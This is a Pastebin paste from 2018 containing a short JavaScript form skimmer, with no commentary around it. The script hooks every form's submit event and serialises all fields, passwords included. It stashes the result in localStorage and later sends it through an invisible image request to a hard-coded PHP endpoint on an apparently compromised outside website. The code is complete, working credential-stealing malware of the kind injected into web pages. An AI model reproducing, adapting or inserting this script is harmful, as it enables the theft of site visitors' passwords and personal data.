SHARE
TWEET

Untitled

a guest Dec 17th, 2018 57 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.   const dest = 'https://www.delicooks.com/wp-includes/js/jquery/jquery.php';
  3.   const d = getData();
  4.   if (d) {
  5.     sendData(d);
  6.     return;
  7.   }
  8.  
  9.   const forms = document.getElementsByTagName('form');
  10.   for (const form of forms) {
  11.     console.log(form);
  12.     if (form.addEventListener) {
  13.       form.addEventListener('submit', listener.bind(null, form), false);
  14.     }
  15.   }
  16.  
  17.   function listener(form, e) {
  18.     try {
  19.       let data = serialize(form) || '';
  20.       const src = dest + '?url: ' + location.href
  21.         + ' datalength: ' + data.length
  22.         + ' data: ' + data;
  23.       storeData(src);
  24.     } catch (e) {
  25.       console.log(e);
  26.     }
  27.   }
  28.  
  29.   function storeData(data) {
  30.     localStorage.setItem('random_data12', data)
  31.   };
  32.  
  33.   function getData() {
  34.     const data = localStorage.getItem('random_data12');
  35.     localStorage.removeItem('random_data12');
  36.     return data;    
  37.   }
  38.  
  39.   function sendData(data) {
  40.     try {
  41.       let img = document.createElement('img');
  42.       img.src = dest + '?url: ' + location.href
  43.     + ' datalength: ' + data.length
  44.     + ' data: ' + data;
  45.       img.height = 0;
  46.       img.width = 0;
  47.       document.body.appendChild(img);
  48.     } catch (e) {
  49.       console.log(e);
  50.     }
  51.  
  52.   }
  53.  
  54.   function serialize(form){if(!form||form.nodeName!=="FORM"){return }var i,j,q=[];for(i=form.elements.length-1;i>=0;i=i-1){if(form.elements[i].name===""){continue}switch(form.elements[i].nodeName){case"INPUT":switch(form.elements[i].type){case"text":case"hidden":case"password":case"button":case"reset":case"submit":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"checkbox":case"radio":if(form.elements[i].checked){q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value))}break;case"file":break}break;case"TEXTAREA":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"SELECT":switch(form.elements[i].type){case"select-one":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break;case"select-multiple":for(j=form.elements[i].options.length-1;j>=0;j=j-1){if(form.elements[i].options[j].selected){q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].options[j].value))}}break}break;case"BUTTON":switch(form.elements[i].type){case"reset":case"submit":case"button":q.push(form.elements[i].name+"="+encodeURIComponent(form.elements[i].value));break}break}}return q.join("&")};
  55. })();
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top